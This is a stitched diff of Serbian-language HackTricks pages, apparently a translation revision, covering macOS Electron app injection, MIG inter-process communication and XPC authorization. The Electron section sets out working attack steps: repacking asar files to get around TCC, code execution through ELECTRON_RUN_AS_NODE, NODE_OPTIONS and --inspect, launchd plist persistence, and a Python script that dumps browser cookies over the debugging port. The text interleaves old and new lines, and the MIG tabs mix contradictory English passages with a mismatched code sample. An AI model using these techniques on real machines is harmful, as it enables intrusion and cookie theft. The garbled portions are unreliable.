Imajte na umu da je moguće zaobići zahtev za **`kTCCServiceSystemPolicyAppBundles`** kopiranjem aplikacije u drugi direktorijum (kao što je **`/tmp`**), preimenovanjem foldera **`app.app/Contents`** u **`app.app/NotCon`**, **modifikovanjem** **asar** fajla sa vašim **zlonamernim** kodom, ponovnim preimenovanjem u **`app.app/Contents`** i izvršavanjem.
|
||||
|
||||
Kod iz asar fajla možete raspakovati sa:
|
||||
Možete otpakovati kod iz asar fajla sa:
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
I vratite ga nazad nakon što ste ga izmenili sa:
|
||||
I spakujte ga nazad nakon što ste ga modifikovali sa:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
## RCE sa `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
Prema [**dokumentaciji**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), ako je ova promenljiva okruženja postavljena, proces će se pokrenuti kao običan Node.js proces.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Prema [**dokumentaciji**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), ako je ova promenljiva okoline postavljena, pokrenuće proces kao običan Node.js proces.
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
|
@ -101,12 +99,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ako je isključena opcija **`RunAsNode`** za fuse, varijabla okruženja **`ELECTRON_RUN_AS_NODE`** će biti ignorisana i ovo neće raditi.
|
||||
Ako je fjuž **`RunAsNode`** onemogućen, promenljiva okruženja **`ELECTRON_RUN_AS_NODE`** će biti ignorisana, i ovo neće raditi.
|
||||
{% endhint %}
|
||||
|
||||
### Injekcija iz App Plist fajla
|
||||
### Injekcija iz App Plist datoteke
|
||||
|
||||
Kao što je [**predloženo ovde**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), možete zloupotrebiti ovu varijablu okruženja u plist fajlu kako biste održali postojanost:
|
||||
Kao što je [**predloženo ovde**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), možete zloupotrebiti ovu promenljivu okruženja u plist datoteci kako biste održali postojanost:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -145,14 +143,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ako je fuzija **`EnableNodeOptionsEnvironmentVariable`** **onemogućena**, aplikacija će **ignorisati** promenljivu okruženja **NODE\_OPTIONS** prilikom pokretanja, osim ako je promenljiva okruženja **`ELECTRON_RUN_AS_NODE`** postavljena, koja će takođe biti **ignorisana** ako je fuzija **`RunAsNode`** onemogućena.
|
||||
Ako je osigurač **`EnableNodeOptionsEnvironmentVariable`** **onemogućen**, aplikacija će **ignorisati** env var **NODE\_OPTIONS** prilikom pokretanja, osim ako je postavljena env varijabla **`ELECTRON_RUN_AS_NODE`**, koja će takođe biti **ignorisana** ako je osigurač **`RunAsNode`** onemogućen.
|
||||
|
||||
Ako ne postavite **`ELECTRON_RUN_AS_NODE`**, dobićete **grešku**: `Većina NODE_OPTION opcija nije podržana u pakovanim aplikacijama. Pogledajte dokumentaciju za više detalja.`
|
||||
Ako ne postavite **`ELECTRON_RUN_AS_NODE`**, dobićete **grešku**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
{% endhint %}
|
||||
|
||||
### Injekcija iz App Plist-a
|
||||
|
||||
Možete zloupotrebiti ovu promenljivu okruženja u plist-u kako biste održali postojanost dodavanjem ovih ključeva:
|
||||
Možete zloupotrebiti ovu env varijablu u plist datoteci da biste održali upornost dodavanjem ovih ključeva:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
|
@ -170,7 +168,7 @@ Možete zloupotrebiti ovu promenljivu okruženja u plist-u kako biste održali p
|
|||
```
|
||||
## RCE sa inspekcijom
|
||||
|
||||
Prema [**ovom**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) izvoru, ako pokrenete Electron aplikaciju sa opcijama kao što su **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, otvoriće se **debug port** na koji možete da se povežete (na primer iz Chrome preko `chrome://inspect`) i bićete u mogućnosti da **ubacite kod** ili čak pokrenete nove procese.\
|
||||
Prema [**ovom**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) izvoru, ako pokrenete Electron aplikaciju sa zastavicama poput **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, biće otvoren **debug port** na koji možete da se povežete (na primer iz Chrome-a na `chrome://inspect`) i bićete u mogućnosti da **ubacite kod u nju** ili čak pokrenete nove procese.\
|
||||
Na primer:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -182,14 +180,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ako je isključena opcija **`EnableNodeCliInspectArguments`**, aplikacija će **ignorisati node parametre** (kao što su `--inspect`) prilikom pokretanja, osim ako je postavljena okružna promenljiva **`ELECTRON_RUN_AS_NODE`**, koja će takođe biti **ignorisana** ako je isključena opcija **`RunAsNode`**.
|
||||
Ako je osigurač **`EnableNodeCliInspectArguments`** onemogućen, aplikacija će **ignorisati node parametre** (kao što su `--inspect`) prilikom pokretanja osim ako je postavljena promenljiva okruženja **`ELECTRON_RUN_AS_NODE`**, koja će takođe biti **ignorisana** ako je osigurač **`RunAsNode`** onemogućen.
|
||||
|
||||
Međutim, i dalje možete koristiti **elektron parametar `--remote-debugging-port=9229`**, ali prethodni payload neće raditi za izvršavanje drugih procesa.
|
||||
Međutim, i dalje možete koristiti **electron parametar `--remote-debugging-port=9229`** ali prethodni payload neće raditi za izvršavanje drugih procesa.
|
||||
{% endhint %}
|
||||
|
||||
Korišćenjem parametra **`--remote-debugging-port=9222`** moguće je ukrasti neke informacije iz Electron aplikacije kao što su **istorija** (sa GET komandama) ili **kolačići** pregledača (jer se dešifruju unutar pregledača i postoji **json endpoint** koji ih daje).
|
||||
Korišćenjem parametra **`--remote-debugging-port=9222`** moguće je ukrasti neke informacije iz Electron aplikacije poput **istorije** (sa GET komandama) ili **kolačića** pregledača (jer su **dekriptovani** unutar pregledača i postoji **json endpoint** koji će ih dati).
|
||||
|
||||
Možete naučiti kako to uraditi [**ovde**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) i [**ovde**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) i koristiti automatski alat [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ili jednostavan skript kao što je:
|
||||
Možete naučiti kako to uraditi [**ovde**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) i [**ovde**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) i koristiti automatski alat [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ili jednostavan skript poput:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -197,11 +195,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
|||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
U [**ovom blogpostu**](https://hackerone.com/reports/1274695), ovaj debagovanje se zloupotrebljava da bi se omogućilo headless chrome-u da **preuzima proizvoljne datoteke na proizvoljnim lokacijama**.
|
||||
U [**ovom blog postu**](https://hackerone.com/reports/1274695), ovaj debagovanje je zloupotrebljen da bi headless chrome **preuzeo proizvoljne datoteke na proizvoljne lokacije**.
|
||||
|
||||
### Injekcija iz App Plist datoteke
|
||||
|
||||
Možete zloupotrebiti ovu env varijablu u plist datoteci kako biste održali postojanost dodavanjem ovih ključeva:
|
||||
Mogli biste zloupotrebiti ovu env promenljivu u plist datoteci da biste održali upornost dodavanjem ovih ključeva:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
|
@ -215,22 +213,22 @@ Možete zloupotrebiti ovu env varijablu u plist datoteci kako biste održali pos
|
|||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## Zaobilazak TCC-a zloupotrebom starijih verzija
|
||||
## Bypass TCC korišćenjem starijih verzija
|
||||
|
||||
{% hint style="success" %}
|
||||
TCC daemon iz macOS-a ne proverava izvršenu verziju aplikacije. Dakle, ako **ne možete ubaciti kod u Electron aplikaciju** pomoću bilo koje od prethodnih tehnika, možete preuzeti prethodnu verziju aplikacije i ubaciti kod u nju jer će i dalje dobiti TCC privilegije (osim ako Trust Cache to sprečava).
|
||||
TCC daemon sa macOS-a ne proverava izvršenu verziju aplikacije. Dakle, ako **ne možete ubaciti kod u Electron aplikaciju** pomoću bilo koje od prethodnih tehnika, možete preuzeti prethodnu verziju APLIKACIJE i ubaciti kod u nju jer će i dalje dobiti TCC privilegije (osim ako Trust Cache to sprečava).
|
||||
{% endhint %}
|
||||
|
||||
## Pokretanje ne-JS koda
|
||||
|
||||
Prethodne tehnike će vam omogućiti pokretanje **JS koda unutar procesa Electron aplikacije**. Međutim, zapamtite da **podprocesi pokreću se pod istim sandbox profilom** kao i roditeljska aplikacija i **nasleđuju njihove TCC dozvole**.\
|
||||
Dakle, ako želite zloupotrebiti privilegije da pristupite kameri ili mikrofonu, na primer, jednostavno možete **pokrenuti drugi binarni fajl iz procesa**.
|
||||
Prethodne tehnike će vam omogućiti da pokrenete **JS kod unutar procesa elektronske aplikacije**. Međutim, zapamtite da **dečiji procesi pokreću isti sandbox profil** kao roditeljska aplikacija i **nasleđuju njihove TCC dozvole**.\
|
||||
Stoga, ako želite zloupotrebiti privilegije da pristupite kameri ili mikrofonu na primer, jednostavno možete **pokrenuti drugi binarni fajl iz procesa**.
|
||||
|
||||
## Automatsko ubacivanje
|
||||
|
||||
Alatka [**electroniz3r**](https://github.com/r3ggi/electroniz3r) se može lako koristiti za **pronalaženje ranjivih Electron aplikacija** instaliranih i ubacivanje koda u njih. Ovaj alat će pokušati koristiti tehniku **`--inspect`**:
|
||||
Alat [**electroniz3r**](https://github.com/r3ggi/electroniz3r) se može lako koristiti za **pronalaženje ranjivih elektronskih aplikacija** instaliranih i ubacivanje koda u njih. Ovaj alat će pokušati koristiti tehniku **`--inspect`**:
|
||||
|
||||
Morate je sami kompajlirati i možete je koristiti na sledeći način:
|
||||
Morate ga sami kompajlirati i možete ga koristiti na sledeći način:
|
||||
```bash
|
||||
# Find electron apps
|
||||
./electroniz3r list-apps
|
||||
|
@ -278,10 +276,10 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
MIG je kreiran kako bi **simplifikovao proces kreiranja koda za Mach IPC**. U osnovi, **generiše potreban kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
|
||||
MIG je kreiran kako bi **simplifikovao proces kreiranja koda za Mach IPC**. On u osnovi **generiše potreban kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo trebati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
|
||||
|
||||
### Primer
|
||||
|
||||
|
@ -37,13 +37,13 @@ n2 : uint32_t);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali Subtract funkciju:
|
||||
Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali funkciju Oduzmi:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
Napraviće se nekoliko novih datoteka u trenutnom direktorijumu.
|
||||
|
||||
U datotekama **`myipcServer.c`** i **`myipcServer.h`** možete pronaći deklaraciju i definiciju strukture **`SERVERPREFmyipc_subsystem`**, koja u osnovi definiše funkciju koja će se pozvati na osnovu primljenog ID-ja poruke (označili smo početni broj od 500):
|
||||
U datotekama **`myipcServer.c`** i **`myipcServer.h`** možete pronaći deklaraciju i definiciju strukture **`SERVERPREFmyipc_subsystem`**, koja u osnovi definiše funkciju koja će se pozvati na osnovu primljenog ID-ja poruke (označili smo početni broj 500):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
|
@ -66,23 +66,35 @@ myipc_server_routine,
|
|||
|
||||
{% tab title="myipcServer.h" %}
|
||||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
## macOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC.
|
||||
MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code to handle the communication between processes. MIG interfaces are defined in .defs files, which are then processed by MIG to generate the necessary code.
|
||||
|
||||
#### Example:
|
||||
### Example:
|
||||
|
||||
```c
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcServer.h"
|
||||
|
||||
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
|
||||
kern_return_t myipc_server(mach_port_t server_port);
|
||||
|
||||
int main() {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr = bootstrap_check_in(bootstrap_port, "com.example.myipc", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
myipc_server(server_port);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In the example above, `myipc_server` is the function that will be called when a message is received by the server.
|
||||
In the example above, `myipc_server` is a function generated by MIG that handles the IPC communication for the server. The server registers itself with the bootstrap server using `bootstrap_check_in` and then starts handling IPC requests.
|
||||
|
||||
MIG simplifies the process of defining IPC interfaces and handling messages between processes in macOS.
|
||||
MIG is a powerful tool for handling IPC in macOS, but it can also introduce security risks if not implemented correctly. It's important to carefully review and secure MIG interfaces to prevent privilege escalation and other security vulnerabilities.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
|
@ -117,7 +129,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
|||
```
|
||||
U ovom primeru smo definisali samo 1 funkciju u definicijama, ali da smo definisali više funkcija, bile bi unutar niza **`SERVERPREFmyipc_subsystem`** i prva bi bila dodeljena ID-u **500**, druga ID-u **501**...
|
||||
|
||||
Zapravo je moguće identifikovati ovu vezu u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**:
|
||||
Zapravo je moguće identifikovati ovaj odnos u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**:
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
|
@ -158,7 +170,7 @@ return FALSE;
|
|||
}
|
||||
</code></pre>
|
||||
|
||||
Proverite prethodno istaknute linije pristupaći funkciji koju treba pozvati prema ID-u.
|
||||
Proverite prethodno istaknute linije pristupa funkciji koju treba pozvati prema ID-u.
|
||||
|
||||
U nastavku je kod za kreiranje jednostavnog **servera** i **klijenta** gde klijent može pozvati funkcije Oduzimanje sa servera:
|
||||
|
||||
|
@ -200,27 +212,13 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. MIG is commonly used in macOS for system services and kernel extensions.
|
||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. By understanding and manipulating MIG interfaces, an attacker can abuse IPC mechanisms to escalate privileges or perform other malicious actions.
|
||||
|
||||
To use MIG, you need to define an interface file (.defs) that specifies the messages and data structures exchanged between client and server processes. This file is then compiled using MIG to generate the necessary C code for IPC.
|
||||
#### Translation:
|
||||
|
||||
Here is an example of a simple MIG interface definition:
|
||||
### macOS MIG (Mach Interface Generator)
|
||||
|
||||
```c
|
||||
routine simple_message {
|
||||
mach_msg_header_t Head;
|
||||
mach_msg_type_t Type;
|
||||
int data;
|
||||
};
|
||||
```
|
||||
|
||||
In this example, `simple_message` is a routine that defines a message containing an integer data field. The generated code will handle sending and receiving this message between processes.
|
||||
|
||||
MIG simplifies the process of implementing IPC in macOS by automatically generating boilerplate code for message handling. It abstracts away the low-level details of IPC, making it easier to focus on the logic of the communication.
|
||||
|
||||
By understanding how MIG works and leveraging its capabilities, developers can efficiently implement secure and reliable inter-process communication in macOS applications.
|
||||
|
||||
{% endtab %}
|
||||
MIG (Mach Interface Generator) je alat koji se koristi za definisanje međuprocesne komunikacije (IPC) za macOS. Generiše kôd klijenta i servera za IPC zasnovan na porukama. Razumevanjem i manipulacijom MIG interfejsa, napadač može zloupotrebiti IPC mehanizme kako bi eskalirao privilegije ili izvršio druge zlonamerne radnje.
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -247,13 +245,13 @@ USERPREFSubtract(port, 40, 2);
|
|||
```
|
||||
### Analiza binarnih fajlova
|
||||
|
||||
Pošto mnogi binarni fajlovi sada koriste MIG za izlaganje mach portova, interesantno je znati kako **identifikovati da je korišćen MIG** i **funkcije koje MIG izvršava** sa svakim ID-jem poruke.
|
||||
Pošto mnogi binarni fajlovi sada koriste MIG za izlaganje mach portova, interesantno je znati kako **identifikovati da je MIG korišćen** i **funkcije koje MIG izvršava** sa svakim ID-jem poruke.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršavanje:
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršenje:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Ranije je pomenuto da će funkciju koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID-ja poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
|
||||
Ranije je pomenuto da će funkciju koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server dekompilirano 1" %}
|
||||
|
@ -270,7 +268,7 @@ var_18 = arg1;
|
|||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Poziv funkciji sign_extend_64 koja može pomoći u identifikaciji ove funkcije
|
||||
// Ovo čuva u rax pokazivač na poziv koji treba biti izvršen
|
||||
// Ovo čuva u rax pokazivač na poziv koji treba pozvati
|
||||
// Proverite upotrebu adrese 0x100004040 (niz adresa funkcija)
|
||||
// 0x1f4 = 500 (početni ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
|
@ -342,7 +340,7 @@ if (CPU_FLAGS & NE) {
|
|||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Isto if else kao u prethodnoj verziji
|
||||
// Ista if else struktura kao u prethodnoj verziji
|
||||
// Proverite upotrebu adrese 0x100004040 (niz adresa funkcija)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
|
@ -376,10 +374,10 @@ return r0;
|
|||
|
||||
Zapravo, ako odete na funkciju **`0x100004000`** pronaći ćete niz struktura **`routine_descriptor`**. Prvi element strukture je **adresa** gde je **funkcija** implementirana, a **struktura zauzima 0x28 bajtova**, tako da svakih 0x28 bajtova (počevši od bajta 0) možete dobiti 8 bajtova i to će biti **adresa funkcije** koja će biti pozvana:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ovi podaci mogu biti izvađeni [**korišćenjem ovog Hopper skripta**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
|
||||
<details>
|
||||
|
@ -388,8 +386,10 @@ Ovi podaci mogu biti izvađeni [**korišćenjem ovog Hopper skripta**](https://g
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -18,7 +18,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
Apple takođe predlaže još jedan način za autentifikaciju da li povezani proces ima **dozvole da pozove izloženu XPC metodu**.
|
||||
|
||||
Kada aplikacija treba da **izvrši akcije kao privilegovani korisnik**, umesto pokretanja aplikacije kao privilegovani korisnik, obično instalira kao root HelperTool kao XPC servis koji može biti pozvan iz aplikacije da izvrši te akcije. Međutim, aplikacija koja poziva servis treba imati dovoljno autorizacije.
|
||||
Kada aplikacija treba da **izvrši akcije kao privilegovani korisnik**, umesto pokretanja aplikacije kao privilegovani korisnik, obično instalira kao root HelperTool kao XPC servis koji može biti pozvan iz aplikacije da izvrši te akcije. Međutim, aplikacija koja poziva servis treba da ima dovoljno autorizacije.
|
||||
|
||||
### ShouldAcceptNewConnection uvek YES
|
||||
|
||||
|
@ -74,7 +74,7 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
Funkcija `setupAuthorizationRights` iz `Common/Common.m` će sačuvati u bazi autentifikacije `/var/db/auth.db` prava aplikacije. Primetite kako će dodati samo prava koja već nisu u bazi podataka:
|
||||
Funkcija `setupAuthorizationRights` iz `Common/Common.m` će sačuvati u bazi autentifikacije `/var/db/auth.db` prava aplikacije. Obratite pažnju kako će dodati samo prava koja već nisu u bazi podataka:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
Ovo znači da će na kraju ovog procesa, dozvole deklarisane unutar `commandInfo` biti sačuvane u `/var/db/auth.db`. Obratite pažnju kako tamo možete pronaći za **svaku metodu** koja će **zahtevati autentikaciju**, **ime dozvole** i **`kCommandKeyAuthRightDefault`**. Ovaj poslednji **ukazuje ko može dobiti ovu dozvolu**.
|
||||
Ovo znači da će na kraju ovog procesa, dozvole deklarisane unutar `commandInfo` biti sačuvane u `/var/db/auth.db`. Primetite kako tamo možete pronaći za **svaku metodu** koja će **zahtevati autentifikaciju**, **ime dozvole** i **`kCommandKeyAuthRightDefault`**. Ovaj poslednji **ukazuje ko može dobiti ovu dozvolu**.
|
||||
|
||||
